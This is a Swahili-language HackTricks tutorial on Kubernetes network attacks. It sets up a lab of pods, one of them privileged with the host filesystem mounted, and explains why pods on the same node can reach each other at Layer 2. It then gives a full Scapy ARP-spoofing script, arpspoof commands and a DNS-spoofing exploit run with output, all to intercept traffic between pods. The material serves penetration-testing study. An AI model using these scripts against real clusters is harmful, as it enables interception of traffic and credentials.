Kubernetes Network Attacks

Support HackTricks

Introduction

Katika Kubernetes, inabainika kuwa tabia ya default inaruhusu kuanzishwa kwa muunganisho kati ya mashine zote zinazokaa kwenye nodi moja. Hii inatumika bila kujali tofauti za namespace. Muunganisho huu unashuka hadi Layer 2 (Ethernet). Kwa hivyo, usanidi huu unaweza kupelekea mfumo kuwa na udhaifu. Kwa hakika, unafungua uwezekano wa konteina mbaya kutekeleza shambulio la ARP spoofing dhidi ya konteina nyingine zilizoko kwenye nodi hiyo hiyo. Wakati wa shambulio kama hilo, konteina mbaya inaweza kwa udanganyifu kukamata au kubadilisha trafiki ya mtandao inayokusudiwa kwa konteina nyingine.

Shambulio la ARP spoofing linahusisha mshambuliaji kutuma ujumbe wa ARP uliofanywa (Address Resolution Protocol) kwenye mtandao wa eneo la ndani. Hii inasababisha kuunganishwa kwa anwani ya MAC ya mshambuliaji na anwani ya IP ya kompyuta au seva halali kwenye mtandao. Baada ya kutekeleza shambulio kama hilo kwa mafanikio, mshambuliaji anaweza kukamata, kubadilisha, au hata kusitisha data inayopita. Shambulio linafanyika kwenye Layer 2 ya mfano wa OSI, ndiyo maana muunganisho wa default katika Kubernetes kwenye layer hii unaleta wasiwasi wa usalama.

Katika hali hii, mashine 4 zitaundwa:

  • ubuntu-pe: Mashine yenye mamlaka ya kutoroka hadi kwenye nodi na kuangalia metriki (haihitajiki kwa shambulio)

  • ubuntu-attack: Konteina mbaya katika namespace ya default

  • ubuntu-victim: Mashine ya mwathirika katika namespace ya kube-system

  • mysql: Mashine ya mwathirika katika namespace ya default

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Msingi wa Mtandao wa Kubernetes

Ikiwa unataka maelezo zaidi kuhusu mada za mtandao zilizowasilishwa hapa, tembelea marejeleo.

ARP

Kwa ujumla, mtandao wa pod hadi pod ndani ya node upatikana kupitia daraja linalounganisha pods zote. Daraja hili linaitwa “cbr0”. (Baadhi ya plugins za mtandao zitafunga daraja zao.) cbr0 pia inaweza kushughulikia ARP (Protokali ya Kutatua Anwani). Wakati pakiti inayokuja inafika cbr0, inaweza kutatua anwani ya MAC ya marudio kwa kutumia ARP.

Hali hii inaashiria kwamba, kwa kawaida, kila pod inayotembea katika node hiyo hiyo itakuwa na uwezo wa kuwasiliana na pod nyingine yoyote katika node hiyo hiyo (bila kujali namespace) katika kiwango cha ethernet (tabaka la 2).

Hivyo, inawezekana kufanya ARP Spoofing mashambulizi kati ya pods katika node hiyo hiyo.

DNS

Katika mazingira ya kubernetes mara nyingi utapata 1 (au zaidi) huduma za DNS zinazoendesha mara nyingi katika namespace ya kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Katika habari iliyopita unaweza kuona kitu cha kuvutia, IP ya huduma ni 10.96.0.10 lakini IP ya pod inayotumia huduma hiyo ni 172.17.0.2.

Ikiwa utachunguza anwani ya DNS ndani ya pod yoyote utapata kitu kama hiki:

cat /etc/resolv.conf
nameserver 10.96.0.10

Hata hivyo, pod haijui jinsi ya kufikia anwani hiyo kwa sababu muktadha wa pod katika kesi hii ni 172.17.0.10/26.

Kwa hiyo, pod itatuma maombi ya DNS kwa anwani 10.96.0.10 ambayo yatakuwa yamefasiriwa na cbr0 kuenda 172.17.0.2.

Hii inamaanisha kwamba ombile la DNS la pod daima litakuwa linakwenda kwenye daraja ili kufasiri IP ya huduma kuwa IP ya mwisho, hata kama seva ya DNS iko katika muktadha sawa na pod.

Kujua hili, na kujua shambulio la ARP linawezekana, pod katika nodi itakuwa na uwezo wa kukamata trafiki kati ya kila pod katika muktadha na daraja na kubadilisha majibu ya DNS kutoka kwa seva ya DNS (DNS Spoofing).

Zaidi ya hayo, ikiwa seva ya DNS iko katika nodi sawa na mshambuliaji, mshambuliaji anaweza kukamata maombi yote ya DNS ya pod yoyote katika klasta (kati ya seva ya DNS na daraja) na kubadilisha majibu.

DNS Spoofing katika pods katika Nodi Moja

Lengo letu ni kuchukua angalau mawasiliano kutoka kwa ubuntu-victim hadi mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Kama ilivyotajwa tayari, ikiwa unafanya kompromi pod katika node sawa na pod ya DNS server, unaweza MitM kwa kutumia ARPSpoofing kwenye bridge na pod ya DNS na kubadilisha majibu yote ya DNS.

Una chombo na mafunzo mazuri ya kujaribu hii katika https://github.com/danielsagi/kube-dnsspoof/

Katika hali yetu, pakua chombo katika pod ya mshambuliaji na uunde faili inayoitwa hosts na domain unazotaka spoof kama:

cat hosts
google.com. 1.1.1.1

Fanya shambulio kwa mashine ya ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Ikiwa unajaribu kuunda script yako ya DNS spoofing, ikiwa unabadilisha tu jibu la DNS hilo halitafanya kazi, kwa sababu jibu litakuwa na src IP anwani ya IP ya pod ya kibaya na halitakubaliwa. Unahitaji kuunda pakiti mpya ya DNS yenye src IP ya DNS ambapo mwathirika anatumia ombi la DNS (ambayo ni kitu kama 172.16.0.2, si 10.96.0.10, hiyo ni IP ya huduma ya K8s DNS na si IP ya seva ya DNS, zaidi kuhusu hii katika utangulizi).

Kukamata Trafiki

Zana Mizu ni mtazamaji wa trafiki wa API rahisi lakini wenye nguvu kwa Kubernetes inayo kuwezesha kuona mawasiliano yote ya API kati ya microservices ili kusaidia kutatua matatizo na kurekebisha makosa. Itasakinisha wakala katika pods zilizochaguliwa na kukusanya taarifa zao za trafiki na kuonyesha kwako kwenye seva ya wavuti. Hata hivyo, utahitaji ruhusa za juu za K8s kwa hili (na si ya siri sana).

Marejeleo

Support HackTricks

Last updated